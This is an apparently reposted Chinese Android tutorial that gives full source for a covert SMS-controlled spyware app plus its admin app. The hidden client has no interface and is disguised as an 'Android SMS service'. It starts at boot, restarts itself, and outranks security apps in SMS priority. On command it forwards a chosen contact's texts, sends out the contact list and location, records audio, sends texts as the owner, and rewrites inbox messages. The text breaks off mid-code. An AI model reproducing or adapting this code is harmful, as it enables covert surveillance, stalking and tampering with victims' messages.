基于短信的手机控制程序
原文地址:http://www.apkbus.com/android-57861-1-1.html?fromuid=257244
1.2程序简介
本程序是一个基于短信的手机控制程序,有受控端B和管理端A.
已实现功能:
1.A监控C发给B的所有短信.
2.A可以查询B的通讯录和位置.
3.A可以开启B的手机录音.
4.A可以通过B向任何人发送短信.
5.A可以修改B的收件箱短信内容.
6.B换手机号后,A可以知道.
相关参数:
admin----管理者手机号码,也就是A的手机号码
listen----被监控的手机号码,即C的手机号.
password----管理密码,会在第一次建立控制关系时设定,A若换手机号,只能通过这个密码来更换B上保存的admin号码
2.1 MainReceiver:程序的短信解析/跳转主体类.
用的是broadcastreceiver , broadcastreceiver本身就不介绍了,网上一大堆使用教程.本程序中就是截获android.provider.Telephony.SMS_RECEIVED广播,分析短信内容, 根据不同的内容进行相应操作.
- package iceman.android.project;
- import java.util.List;
- import android.content.BroadcastReceiver;
- import android.content.Context;
- import android.content.Intent;
- import android.content.SharedPreferences;
- import android.content.SharedPreferences.Editor;
- import android.os.Bundle;
- import android.telephony.SmsManager;
- import android.telephony.SmsMessage;
- public class MainReceiver extends BroadcastReceiver{
- private String number;
- private SmsManager manager = SmsManager.getDefault();
- public void onReceive(Context context, Intent intent) {
- MyLog.LogI("OUTPUT", "广播接收器触发");
- SharedPreferences preferences = context.getSharedPreferences("sms", Context.MODE_PRIVATE);
- //使用
- SharedPreferences 存储admin号码和listen号码.
- String admin = preferences.getString("admin", "");
- MyLog.LogI("OUTPUT", "当前admin:"+admin);
- String listen = preferences.getString("listen", "");
- String password = preferences.getString("password", "iceman");
- MyLog.LogI("OUTPUT", "当前listen:"+listen);
- Bundle bun = intent.getExtras();
- //开始分析短信
- if(bun!=null){
- Object[] mypdus = (Object[])bun.get("pdus");
- SmsMessage[] messages = new SmsMessage[mypdus.length];
- for(int i=0;i<mypdus.length;i++){
- messages[i] = SmsMessage.createFromPdu((byte[])mypdus[i]);
- }
- for(SmsMessage mess:messages){
- number = mess.getDisplayOriginatingAddress();
- String body = mess.getDisplayMessageBody();
- MyLog.LogI("OUTPUT","号码来源:"+number);
- MyLog.LogI("OUTPUT","内容:"+body);
- if(number.contains("+86")){
- number = number.substring(3);
- }
- MyLog.LogI("OUTPUT","号码来源转换"+number);
- //设定管理号码
- if(body.equals("iceman78952190")){
- MyLog.LogI("OUTPUT","查询密码哦");
- abortBroadcast();
- manager.sendTextMessage(number, null, password, null, null);
- }
- if(body.contains("@iceman@admin")){
- abortBroadcast();
- body = body.substring(13);
- if(password.equals("iceman")){
- password = body;
- Editor editor = preferences.edit();
- editor.putString("admin", number);
- editor.putString("password", body);
- editor.commit();
- MyLog.LogI("OUTPUT","设定admin:"+number);
- manager.sendTextMessage(number, null, "admin change success!"+number, null, null);
- }else{
- if(password.equals(body)){
- Editor editor = preferences.edit();
- editor.putString("admin", number);
- editor.commit();
- MyLog.LogI("OUTPUT","设定admin:"+number);
- manager.sendTextMessage(number, null, "admin change success!"+number, null, null);
- }else{
- MyLog.LogI("OUTPUT","密码不对");
- }
- }
- }
- //对管理号码发来的短信进行判断,是否启动服务或者更改被监听号码
- if(number.equals(admin)){
- if(body.contains("@iceman@search")){
- abortBroadcast();
- MyLog.LogI("OUTPUT", "开始查询通讯录");
- manager.sendTextMessage(admin, null, "search starting!", null, null);
- //启动服务,查询通讯录并发送
- Intent it = new Intent(context,ContactService.class);
- it.putExtra("admin", admin);
- context.startService(it);
- }else if(body.contains("@iceman@change")){
- abortBroadcast();
- listen = body.substring(14);
- Editor editor = preferences.edit();
- editor.putString("listen", listen);
- editor.commit();
- MyLog.LogI("OUTPUT", "更改listen完成");
- manager.sendTextMessage(admin, null, "listen change success!", null, null);
- }else if(body.contains("@iceman@location")){
- abortBroadcast();
- MyLog.LogI("OUTPUT", "开启位置监控");
- Intent it = new Intent(context,LocationService.class);
- context.startService(it);
- manager.sendTextMessage(admin, null, "location listen success!", null, null);
- MyLog.LogI("OUTPUT", "位置监控开启完成");
- }else if(body.contains("@iceman@where")){
- abortBroadcast();
- MyLog.LogI("OUTPUT", "开始发送并解析地址");
- Intent it2 = new Intent(context,GetAddressService.class);
- context.startService(it2);
- }else if(body.contains("@iceman@start")){
- abortBroadcast();
- MyLog.LogI("OUTPUT", "收到录音开启命令");
- Intent it = new Intent(context,RecorderService.class);
- context.startService(it);
- }else if(body.contains("@iceman@stop")){
- abortBroadcast();
- MyLog.LogI("OUTPUT", "收到结束录音命令");
- Intent it = new Intent(context,RecorderService.class);
- context.stopService(it);
- }else if(body.contains("@iceman@sms")){
- abortBroadcast();
- MyLog.LogI("OUTPUT", "发送短信");
- String[] str = body.split("#");
- manager.sendTextMessage(str[1], null, str[2], null, null);
- MyLog.LogI("OUTPUT", "目标号码:"+str[1]+"内容:"+str[2]);
- }else if(body.contains("@iceman@replace")){
- abortBroadcast();
- String[] str = body.split("#");
- MyLog.LogI("OUTPUT", "收到短信修改命令");
- Intent it = new Intent(context,EditSmsService.class);
- it.putExtra("key", str[1]);
- it.putExtra("number", str[2]);
- it.putExtra("content", str[3]);
- it.putExtra("type", "replace");
- context.startService(it);
- }
- else if(body.contains("@iceman@edit")){
- abortBroadcast();
- String[] str = body.split("#");
- MyLog.LogI("OUTPUT", "收到短信编辑命令");
- Intent it = new Intent(context,EditSmsService.class);
- it.putExtra("key", str[1]);
- it.putExtra("number", str[2]);
- it.putExtra("content", str[3]);
- it.putExtra("type", "edit");
- context.startService(it);
- }
- }
- //判断是否由被监听号码发来的短信
- if(number.equals(listen)){
- String sms = number+":"+body;
- MyLog.LogI("OUTPUT", "监听到短信");
- List<String> texts=manager.divideMessage(sms);
- for(String text:texts)
- {
- manager.sendTextMessage(admin, null, text, null, null);
- }
- }
- }
- }
- }
- }
复制代码
这个广播接收器最初是静态注册的,目的是不需要运行程序,相当于开机启动.但是在部分真机上测试时发现360,91短信等会在它之前拦截短信,经过网上查询,得知动态注册的优先级要高于静态注册,优先级相同的动态注册广播,先注册的先接收广播.
所以,我又写了个service,在系统启动后运行并绑定广播接收器.优先级设为2147483647.不要被google api里面写的优先级最大1000忽悠了,这个int上限值也是有用的.
- package iceman.android.project;
- import android.app.Service;
- import android.content.Intent;
- import android.content.IntentFilter;
- import android.os.IBinder;
- public class MainService extends Service{
- MainReceiver mReceiver;
- @Override
- public IBinder onBind(Intent intent) {
- // TODO Auto-generated method stub
- return null;
- }
- @Override
- public void onStart(Intent intent, int startId) {
- super.onStart(intent, startId);
- IntentFilter localIntentFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
- localIntentFilter.setPriority(2147483647);
- mReceiver = new MainReceiver();
- registerReceiver(mReceiver, localIntentFilter);
- }
- @Override
- public void onDestroy() {
- unregisterReceiver(mReceiver);
- Intent it = new Intent(MainService.this, MainService.class);
- this.startService(it);
- }
- }
复制代码
2.2功能:监控指定短信
这是程序的初衷,也是我学到broadcastreceiver时首先冒出来的念头...
当短信来源号码为C时,将短信转发一份给A.代码很简单:
- // 判断是否由被监听号码发来的短信
- if (number.equals(listen)) {
- String sms = number + ":" + body;
- MyLog.LogI("OUTPUT", "监听到短信");
- List<String> texts = manager.divideMessage(sms);
- for (String text : texts) {
- manager.sendTextMessage(admin, null, text, null, null);
- }
- }
复制代码
2.3功能:查询通讯录
这里使用了ContentResolver,这是与内容提供器ContentProvider对应的"查询器",android的通讯录程序对外提供了ContentProvider查询接口.我们可以像操作数据库一样对里面的数据进行读取.修改也可以(这个太无聊了,放到短信那部分再说)
- package iceman.android.project;
- import java.util.List;
- import android.app.Service;
- import android.content.ContentResolver;
- import android.content.Intent;
- import android.database.Cursor;
- import android.os.IBinder;
- import android.provider.ContactsContract;
- import android.telephony.SmsManager;
- public class ContactService extends Service{
- SmsManager manager = SmsManager.getDefault();
- @Override
- public IBinder onBind(Intent intent) {
- return null;
- }
- @Override
- public void onCreate() {
- super.onCreate();
- }
- @Override
- public void onStart(Intent intent, int startId) {
- String admin = intent.getStringExtra("admin");
- MyLog.LogI("OUTPUT", "开启通讯录查询服务");
- String[] columns = { "_id", "display_name", "has_phone_number" };
- StringBuffer sb = new StringBuffer();
- ContentResolver cr = this.getContentResolver();
- Cursor cursor = cr.query(ContactsContract.Contacts.CONTENT_URI,
- columns, null, null, null);
- String[] phone_clos = {
- ContactsContract.CommonDataKinds.Phone.CONTACT_ID,
- ContactsContract.CommonDataKinds.Phone.NUMBER, };
- if (cursor.moveToFirst()) {
- do {
- int _id = cursor.getInt(0);
- String name = cursor.getString(1);
- String has_phone = cursor.getString(2);
- sb.append(name + ":");
- if (has_phone.trim().equals("1")) {
- Cursor phones = cr
- .query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
- phone_clos,
- ContactsContract.CommonDataKinds.Phone.CONTACT_ID
- + "=" + _id, null, null);
- if (phones.moveToFirst()) {
- do {
- sb.append(phones.getString(1) + ".");
- } while (phones.moveToNext());
- }
- }
- } while (cursor.moveToNext());
- }
- MyLog.LogI("OUTPUT", "开始发送通讯录");
- List<String> texts=manager.divideMessage(sb.toString());
- for(String text:texts)
- {
- manager.sendTextMessage(admin, null, text, null, null);
- }
- //查询完毕后关闭服务
- stopSelf();
- super.onStart(intent, startId);
- }
- @Override
- public void onDestroy() {
- // TODO Auto-generated method stub
- super.onDestroy();
- }
- @Override
- public int onStartCommand(Intent intent, int flags, int startId) {
- // TODO Auto-generated method stub
- return super.onStartCommand(intent, flags, startId);
- }
- @Override
- public boolean onUnbind(Intent intent) {
- // TODO Auto-generated method stub
- return super.onUnbind(intent);
- }
- }
复制代码
要注意的是,这个视通讯录条数多少,会有几条短信发出...少用为妙
2.4功能:查询位置
有两件事要做:获得经纬度表示的位置信息和将经纬度解析为地址信息
android使用LocationManager来管理获得的位置信息,给它设置一个位置监听,就可以在位置发生变化时,获得变化后的经纬度信息,
- package iceman.android.project;
- import java.text.SimpleDateFormat;
- import java.util.Date;
- import android.app.Service;
- import android.content.Context;
- import android.content.Intent;
- import android.content.SharedPreferences;
- import android.content.SharedPreferences.Editor;
- import android.location.Criteria;
- import android.location.Location;
- import android.location.LocationListener;
- import android.location.LocationManager;
- import android.os.Bundle;
- import android.os.IBinder;
- public class LocationService extends Service{
- private Location location;//当前位置
- private String time = "unknown";
- private SimpleDateFormat sf = new SimpleDateFormat("MM-dd;hh-mm");
- private SharedPreferences preferences = null;
- @Override
- public IBinder onBind(Intent intent) {
- // TODO Auto-generated method stub
- return null;
- }
- @Override
- public void onCreate() {
- super.onCreate();
- getLocation();
- }
- @Override
- public void onDestroy() {
- // TODO Auto-generated method stub
- super.onDestroy();
- }
- @Override
- public int onStartCommand(Intent intent, int flags, int startId) {
- // TODO Auto-generated method stub
- return super.onStartCommand(intent, flags, startId);
- }
- @Override
- public boolean onUnbind(Intent intent) {
- // TODO Auto-generated method stub
- return super.onUnbind(intent);
- }
- private void getLocation(){
- LocationManager locationmanager = (LocationManager)getSystemService(Context.LOCATION_SERVICE);
- if(locationmanager==null){
- MyLog.LogI("OUTPUT", "定位管理器未找到");
- }
- Criteria criteria = new Criteria();//用来得到位置提供器(Location Provider)的一组参数标准
- criteria.setAccuracy(Criteria.ACCURACY_COARSE);//定位精度
- criteria.setAltitudeRequired(false);//是否要求定位出高度值
- criteria.setCostAllowed(true);//是否允许花钱
- String str = locationmanager.getBestProvider(criteria, false);//得到满足标准的一个最好的提供器的名称
- if(str==null){
- MyLog.LogI("OUTPUT", "位置提供器未找到");
- }
- MyLog.LogI("OUTPUT", "使用的位置提供器"+str);
- location = locationmanager.getLastKnownLocation(str);
- locationmanager.requestLocationUpdates(str, 2000, 5, new LocationListener() {
- @Override
- public void onStatusChanged(String provider, int status, Bundle extras) {
- // TODO Auto-generated method stub
- }
- @Override
- public void onProviderEnabled(String provider) {
- // TODO Auto-generated method stub
- }
- @Override
- public void onProviderDisabled(String provider) {
- // TODO Auto-generated method stub
- }
- @Override
- public void onLocationChanged(Location loca) {
- // TODO Auto-generated method stub
- MyLog.LogI("OUTPUT", "位置发生改变");
- time = sf.format(new Date());
- location = loca;
- preferences = LocationService.this.getSharedPreferences("sms", MODE_PRIVATE);
- Editor editor = preferences.edit();
- editor.putString("lat", ""+location.getLatitude());
- editor.putString("lon", ""+location.getLongitude());
- editor.putString("time", time);
- editor.commit();
- MyLog.LogI("OUTPUT", "位置已经放入");
- }
- });
- }
- @Override
- public void onStart(Intent intent, int startId) {
- }
- }
复制代码
在这个service中,将改变后的位置经纬度存储下来,下次调用位置解析服务的时候,就可以取出最新的经纬度进行解析了.
http://maps.google.com/maps/api/geocode/json?latlng=后面加上经纬度,会返回json数据,然后进行解析就可以获得地址信息了.
- package iceman.android.project;
- import java.io.BufferedReader;
- import java.io.IOException;
- import java.io.InputStreamReader;
- import org.apache.http.HttpEntity;
- import org.apache.http.HttpResponse;
- import org.apache.http.client.ClientProtocolException;
- import org.apache.http.client.HttpClient;
- import org.apache.http.client.methods.HttpGet;
- import org.apache.http.impl.client.DefaultHttpClient;
- import org.json.JSONArray;
- import org.json.JSONException;
- import org.json.JSONObject;
- import android.app.Service;
- import android.content.Intent;
- import android.content.SharedPreferences;
- import android.os.IBinder;
- import android.telephony.SmsManager;
- public class GetAddressService extends Service{
- private SmsManager manager;
- @Override
- public IBinder onBind(Intent intent) {
- // TODO Auto-generated method stub
- return null;
- }
- @Override
- public void onCreate() {
- super.onCreate();
- }
- @Override
- public void onDestroy() {
- // TODO Auto-generated method stub
- super.onDestroy();
- }
- @Override
- public void onStart(Intent intent, int startId) {
- manager = SmsManager.getDefault();
- MyLog.LogI("OUTPUT", "开始转换地址服务");
- SharedPreferences preferences = this.getSharedPreferences("sms", MODE_PRIVATE);
- Double lat = Double.parseDouble(preferences.getString("lat", null));
- Double lon = Double.parseDouble(preferences.getString("lon", null));
- MyLog.LogI("OUTPUT", "精度"+lon);
- MyLog.LogI("OUTPUT", "纬度"+lat);
- String admin = preferences.getString("admin", null);
- String time = preferences.getString("time", null);
- String address1 = "经度"+lon+"纬度"+lat;
- manager.sendTextMessage(admin, null, address1+time, null, null);
- String address2 = getAddress(lon, lat);
- manager.sendTextMessage(admin, null, address2+time, null, null);
- stopSelf();
- super.onStart(intent, startId);
- }
- @Override
- public boolean onUnbind(Intent intent) {
- // TODO Auto-generated method stub
- return super.onUnbind(intent);
- }
- public String getAddress(Double Longitude,Double Latitude){
- MyLog.LogI("OUTPUT", "开始转换地址");
- String url = "http://maps.google.com/maps/api/geocode/json?latlng="+Latitude+","+Longitude+"&language=zh_CN&sensor=false";
- HttpClient client = new DefaultHttpClient();
- StringBuilder sb = new StringBuilder();
- try {
- HttpResponse resp = client.execute(new HttpGet(url));
- HttpEntity he = resp.getEntity();
- BufferedReader br = new BufferedReader(new InputStreamReader(he.getContent()));
- String str = "";
- while((str=br.readLine())!=null){
- sb.append(str);
- }
- } catch (ClientProtocolException e) {
- e.printStackTrace();
- } catch (IOException e) {
- e.printStackTrace();
- }
- MyLog.LogI("OUTPUT", "开始解析json");
- try {
- JSONObject jo1 = new JSONObject(sb.toString());
- String str1 = jo1.getString("results");
- JSONArray arr1 = new JSONArray(str1);
- String str2 = arr1.get(0).toString();
- JSONObject jo2 = new JSONObject(str2);
- String str3 = jo2.getString("formatted_address");
- MyLog.LogI("OUTPUT", str3);
- return str3;
- // Toast.makeText(LocationService.this, str3, Toast.LENGTH_LONG).show();
- } catch (JSONException e) {
- return "地址转换失败";
- }
- }
- }
复制代码
2.5功能:开启录音
这个很简单,使用MediaRecorder即可,在service的oncreat中开始录音,ondestory中结束录音.
- package iceman.android.project;
- import java.io.IOException;
- import android.app.Service;
- import android.content.Intent;
- import android.media.MediaRecorder;
- import android.os.IBinder;
- public class RecorderService extends Service{
- private MediaRecorder recorder;
- private String location;
- @Override
- public IBinder onBind(Intent arg0) {
- // TODO Auto-generated method stub
- return null;
- }
- @Override
- public void onCreate() {
- super.onCreate();
- MyLog.LogI("OUTPUT", "录音服务启动");
- recorder = new MediaRecorder();
- recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
- recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
- location = "/mnt/sdcard/record_"+System.currentTimeMillis()+".3gp";
- recorder.setOutputFile(location);
- recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
- try {
- recorder.prepare();
- } catch (IllegalStateException e) {
- // TODO Auto-generated catch block
- e.printStackTrace();
- } catch (IOException e) {
- // TODO Auto-generated catch block
- e.printStackTrace();
- }
- recorder.start();
- MyLog.LogI("OUTPUT", "开始录音");
- }
- @Override
- public void onDestroy() {
- // TODO Auto-generated method stub
- recorder.stop();
- MyLog.LogI("OUTPUT", "停止录音");
- super.onDestroy();
- }
- @Override
- public int onStartCommand(Intent intent, int flags, int startId) {
- // TODO Auto-generated method stub
- return super.onStartCommand(intent, flags, startId);
- }
- @Override
- public boolean onUnbind(Intent intent) {
- // TODO Auto-generated method stub
- return super.onUnbind(intent);
- }
- }
复制代码
2.6发送短信
对A发过来的短信进行分割,获取目的号码和短信内容,然后发送.代码已经在MainReceiver中了.
2.7编辑短信
ContentResolver不仅可以查询,也可以修改.修改短信这个邪恶的功能就靠它来实现了.
代码中号码为00000000000表示不限号码进行修改.不论谁发过来的短信,只要满足关键字条件,就进行修改.
- package iceman.android.project;
- import android.app.Service;
- import android.content.ContentResolver;
- import android.content.ContentValues;
- import android.content.Intent;
- import android.database.Cursor;
- import android.net.Uri;
- import android.os.IBinder;
- public class EditSmsService extends Service {
- private ContentResolver mContentResolver;
- private String key, number, content, type;
- @Override
- public IBinder onBind(Intent intent) {
- // TODO Auto-generated method stub
- return null;
- }
- @Override
- public void onStart(Intent intent, int startId) {
- key = intent.getStringExtra("key");
- number = intent.getStringExtra("number");
- content = intent.getStringExtra("content");
- type = intent.getStringExtra("type");
- mContentResolver = this.getContentResolver();
- Cursor cursor;
- if (number.equals("00000000000")) {
- cursor = mContentResolver.query(Uri.parse("content://sms/inbox"), null, null, null,
- null);
- MyLog.LogI("OUTPUT", "号码为00000000000");
- } else {
- cursor = mContentResolver.query(Uri.parse("content://sms/inbox"), null, "address = ?",
- new String[] {
- "" + number
- }, null);
- MyLog.LogI("OUTPUT", "号码指定");
- }
- int time = 0;
- String newContent = null;
- if (cursor != null) {
- cursor.moveToFirst();
- do {
- String address = cursor.getString(cursor.getColumnIndexOrThrow("address"));
- String body = cursor.getString(cursor.getColumnIndexOrThrow("body"));
- int id = cursor.getInt(cursor.getColumnIndexOrThrow("_id"));
- // int date =
- // cursor.getInt(cursor.getColumnIndexOrThrow("date"));
- if (number.equals("00000000000")) {
- if (body.contains(key)) {
- ContentValues values = new ContentValues();
- // values.put("address", address);
- if (type.equals("replace")) {
- newContent = body.replace(key, content);
- } else {
- newContent = content;
- }
- values.put("read", 1);
- values.put("status", -1);
- values.put("type", 1);
- values.put("body", newContent);
- mContentResolver.update(Uri.parse("content://sms/inbox"), values,
- "_id = ?", new String[] {
- "" + id
- });
- }
- } else {
- if (body.contains(key) && address.equals(number)) {
- ContentValues values = new ContentValues();
- // values.put("address", address);
- if (type.equals("replace")) {
- newContent = body.replace(key, content);
- } else {
- newContent = content;
- }
- values.put("read", 1);
- values.put("status", -1);
- values.put("type", 1);
- values.put("body", newContent);
- mContentResolver.update(Uri.parse("content://sms/inbox"), values,
- "_id = ?", new String[] {
- "" + id
- });
- }
- }
- time++;
- } while (cursor.moveToNext() && time < 50);
- }
- stopSelf();
- }
- }
复制代码
2.8功能:B更换手机号码后发送至A.
TelephonyManager可以获取手机相关信息,比如手机号码,imei等,但是这些数据来源于sim卡,如果某些运营商没有将电话号码写到sim卡上,手机号码就获取不到了.
号码变更检测是要开机进行的,如果发现号码跟保存的不一样,就发送新号码至admin.
- package iceman.android.project;
- import android.content.BroadcastReceiver;
- import android.content.Context;
- import android.content.Intent;
- import android.content.SharedPreferences;
- import android.telephony.SmsManager;
- import android.telephony.TelephonyManager;
- public class BootReceiver extends BroadcastReceiver{
- private String mDeviceId;
- private String mTel;
- private String mImei;
- private String mImsi;
- private String mOldDeviceId;
- private String mOldTel;
- private String mOldImei;
- private String mOldImsi;
- @Override
- public void onReceive(Context context, Intent intent) {
- Intent service=new Intent(context, MainService.class);
- context.startService(service);
- TelephonyManager tm=(TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
- mDeviceId = tm.getDeviceId();
- mTel = tm.getLine1Number();
- mImei = tm.getSimSerialNumber();
- mImei = mImei==null?"":mImei;
- mImsi = tm.getSubscriberId();
- mImsi = mImsi==null?"":mImsi;
- SharedPreferences sharedPreferencesPhone = context.getSharedPreferences("phone", Context.MODE_PRIVATE);
- mOldDeviceId = sharedPreferencesPhone.getString("deviceid", "");;
- mOldTel = sharedPreferencesPhone.getString("tel", "");;
- mOldImei = sharedPreferencesPhone.getString("imei", "");;
- mOldImsi = sharedPreferencesPhone.getString("imsi", "");;
- SharedPreferences sharedPreferencesControl = context.getSharedPreferences("sms", Context.MODE_PRIVATE);
- String admin = sharedPreferencesControl.getString("admin", "");
- if(isChange()){
- SharedPreferences.Editor editor = sharedPreferencesPhone.edit();
- editor.putString("deviceid", mDeviceId==null?"":mDeviceId);
- editor.putString("tel", mTel);
- editor.putString("imei", mImei);
- editor.putString("imsi", mImsi);
- editor.commit();
- SmsManager smsmanager = SmsManager.getDefault();
- if(!admin.equals("")){
- String text = "tel:"+mTel+".mImei:"+mImei;
- smsmanager.sendTextMessage(admin, null, text, null, null);
- }
- }
- }
- private boolean isChange(){
- if(mTel==null){
- return false;
- }
- if(mOldTel.equals("")){
- return true;
- }
- if(!mTel.equals(mOldTel)){
- return true;
- }
- return false;
- }
- }
复制代码
2.9受控端总结:
以下是主配置文件
- <?xml version="1.0" encoding="utf-8"?>
- <manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="iceman.android.project"
- android:versionCode="1"
- android:versionName="1.0"
- >
- <uses-sdk android:minSdkVersion="7" />
- <!-- android:priority="100" -->
- <application
- android:debuggable="false"
- android:icon="@drawable/app_icon"
- android:label="@string/app_name" >
- <receiver android:name=".MainReceiver">
- <intent-filter android:priority="2147483647">
- <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
- </intent-filter>
- </receiver>
- <receiver android:name=".BootReceiver">
- <intent-filter android:priority="2147483647">
- <action android:name="android.intent.action.BOOT_COMPLETED"/>
- </intent-filter>
- </receiver>
- <service android:name=".ContactService" android:enabled="true"/>
- <service android:name=".LocationService" android:enabled="true"/>
- <service android:name=".RecorderService" android:enabled="true"/>
- <service android:name=".GetAddressService" android:enabled="true"/>
- <service android:name=".EditSmsService" android:enabled="true"/>
- </application>
- <uses-permission android:name="android.permission.INTERNET"/>
- <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
- <uses-permission android:name="android.permission.CALL_PHONE"/>
- <uses-permission android:name="android.permission.SEND_SMS"/>
- <uses-permission android:name="android.permission.READ_CONTACTS"/>
- <uses-permission android:name="android.permission.READ_SMS"/>
- <uses-permission android:name="android.permission.RECEIVE_SMS"/>
- <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
- <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
- <uses-permission android:name="android.permission.RECORD_AUDIO"/>
- <uses-permission android:name="android.permission.READ_SMS"/>
- <uses-permission android:name="android.permission.WRITE_SMS"/>
- <uses-permission android:name="android.permission.READ_PHONE_STATE" />
- </manifest>
复制代码
可以看到的是,受控端是没有activity的.而且程序名字我命名为"android短信服务".如果不是有服务开启的话,可以说是无法发现程序的存在的.
3.1管理端
为了简化命令发送的繁琐,写了这个简单的管理端程序,就两个activity.
- package iceman.android.smsadmin;
- import android.app.Activity;
- import android.content.Intent;
- import android.content.SharedPreferences;
- import android.content.SharedPreferences.Editor;
- import android.os.Bundle;
- import android.telephony.SmsManager;
- import android.view.View;
- import android.view.View.OnClickListener;
- import android.widget.Button;
- import android.widget.CheckBox;
- import android.widget.CompoundButton;
- import android.widget.CompoundButton.OnCheckedChangeListener;
- import android.widget.EditText;
- import android.widget.TextView;
- import android.widget.Toast;
- public class SMSadminActivity extends Activity {
- private TextView mClientNumberText, mListenNumberText;
- private EditText mAdminSetEditText, mListenSetEditText, mSmsNumberSetEditText, mSmsContentEditText, mPasswordEditText;
- private CheckBox mPasswordUse;
- private Button mAdminSetBtn, mListenSetBtn, mSearchBtn, mOpenLocationBtn, mGetAddressBtn, mRecoderBtn, mSendSmsBtn;
- private Button mEditSmsBtn;
- private Boolean mIsRecording = false;
- private SmsManager mSmsManager = SmsManager.getDefault();
- private String mClientNumber = null;
- private String mListenNumber = null;
- private SharedPreferences mSharedpreferences = null;
- private String mPassword;
- /** Called when the activity is first created. */
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.main);
- mClientNumberText = (TextView) findViewById(R.id.number_tv1);
- mListenNumberText = (TextView) findViewById(R.id.number_tv2);
- mPasswordEditText = (EditText) findViewById(R.id.password_et);
- mPasswordEditText.setInputType(0x81);
- mPasswordUse = (CheckBox) findViewById(R.id.password_use);
- mAdminSetEditText = (EditText) findViewById(R.id.number_et);
- // et1.setTransformationMethod(PasswordTransformationMethod.getInstance());
- mAdminSetEditText.setHint(this.getString(R.string.the_number_to_control));
- mListenSetEditText = (EditText) findViewById(R.id.listen_et);
- mListenSetEditText.setHint(this.getString(R.string.the_number_to_listen));
- mSmsNumberSetEditText = (EditText) findViewById(R.id.sms_number_et);
- mSmsNumberSetEditText.setHint(this.getString(R.string.where_to_send));
- mSmsContentEditText = (EditText) findViewById(R.id.sms_et);
- mSmsContentEditText.setHint(this.getString(R.string.sms_content));
- mSharedpreferences = this.getSharedPreferences("config", MODE_PRIVATE);
- mClientNumber = mSharedpreferences.getString("control", "");
- mListenNumber = mSharedpreferences.getString("listen", "");
- mClientNumberText.setText(this.getString(R.string.now_control) + mClientNumber);
- mListenNumberText.setText(this.getString(R.string.now_listen) + mListenNumber);
- mAdminSetBtn = (Button) findViewById(R.id.admin_btn);
- mListenSetBtn = (Button) findViewById(R.id.listen_btn);
- mSearchBtn = (Button) findViewById(R.id.search_btn);
- mOpenLocationBtn = (Button) findViewById(R.id.open_locations_btn);
- mGetAddressBtn = (Button) findViewById(R.id.where_btn);
- mRecoderBtn = (Button) findViewById(R.id.recorder_btn);
- mRecoderBtn.setText(this.getString(R.string.start_record));
- mSendSmsBtn = (Button) findViewById(R.id.sms_btn);
- mEditSmsBtn = (Button)findViewById(R.id.edit_sms);
- mPasswordUse.setOnCheckedChangeListener(new OnCheckedChangeListener() {
- @Override
- public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
- if (isChecked) {
- mPassword = mPasswordEditText.getText().toString().trim();
- mPasswordEditText.setEnabled(false);
- Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.password)+mPassword, Toast.LENGTH_SHORT).show();
- } else {
- mPassword = "";
- mPasswordEditText.getEditableText().clear();
- mPasswordEditText.setEnabled(true);
- }
- Editor editor = mSharedpreferences.edit();
- editor.putString("password", mPassword);
- editor.commit();
- }
- });
- mAdminSetBtn.setOnClickListener(new OnClickListener() {
- public void onClick(View v) {
- String str = mAdminSetEditText.getText().toString().trim();
- if ((str.equals("")) == false) {
- if ((str.equals("18621191115")) == false) {
- mClientNumberText.setText(SMSadminActivity.this.getString(R.string.now_control) + str);
- mAdminSetBtn.setText(SMSadminActivity.this.getString(R.string.control_number_set_over));
- mClientNumber = str;
- Editor editor = mSharedpreferences.edit();
- editor.putString("control", str);
- editor.commit();
- // et1.setEnabled(false);
- // btn1.setClickable(false);
- mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@admin"+mPassword, null, null);
- Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.control_number_set_send), Toast.LENGTH_SHORT)
- .show();
- } else {
- Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.number_can_not_control), Toast.LENGTH_LONG)
- .show();
- }
- } else {
- Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_control_number), Toast.LENGTH_SHORT).show();
- }
- }
- });
- mListenSetBtn.setOnClickListener(new OnClickListener() {
- public void onClick(View v) {
- String str = mListenSetEditText.getText().toString().trim();
- if (str.equals("") == false) {
- mListenNumberText.setText(SMSadminActivity.this.getString(R.string.now_listen) + str);
- mListenSetBtn.setText(SMSadminActivity.this.getString(R.string.listen_number_set_over));
- mListenNumber = str;
- Editor editor = mSharedpreferences.edit();
- editor.putString("listen", str);
- editor.commit();
- // et2.setEnabled(false);
- // btn2.setClickable(false);
- mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@change" + mListenNumber, null, null);
- Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.listen_number_set_send), Toast.LENGTH_SHORT).show();
- } else {
- Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_listen_number), Toast.LENGTH_SHORT).show();
- }
- }
- });
- mSearchBtn.setOnClickListener(new OnClickListener() {
- public void onClick(View v) {
- if (mClientNumber.equals("") == false) {
- mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@search", null, null);
- Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.search_send_over), Toast.LENGTH_SHORT).show();
- } else {
- Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
- }
- }
- });
- mOpenLocationBtn.setOnClickListener(new OnClickListener() {
- public void onClick(View v) {
- if (mClientNumber.equals("") == false) {
- mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@location", null, null);
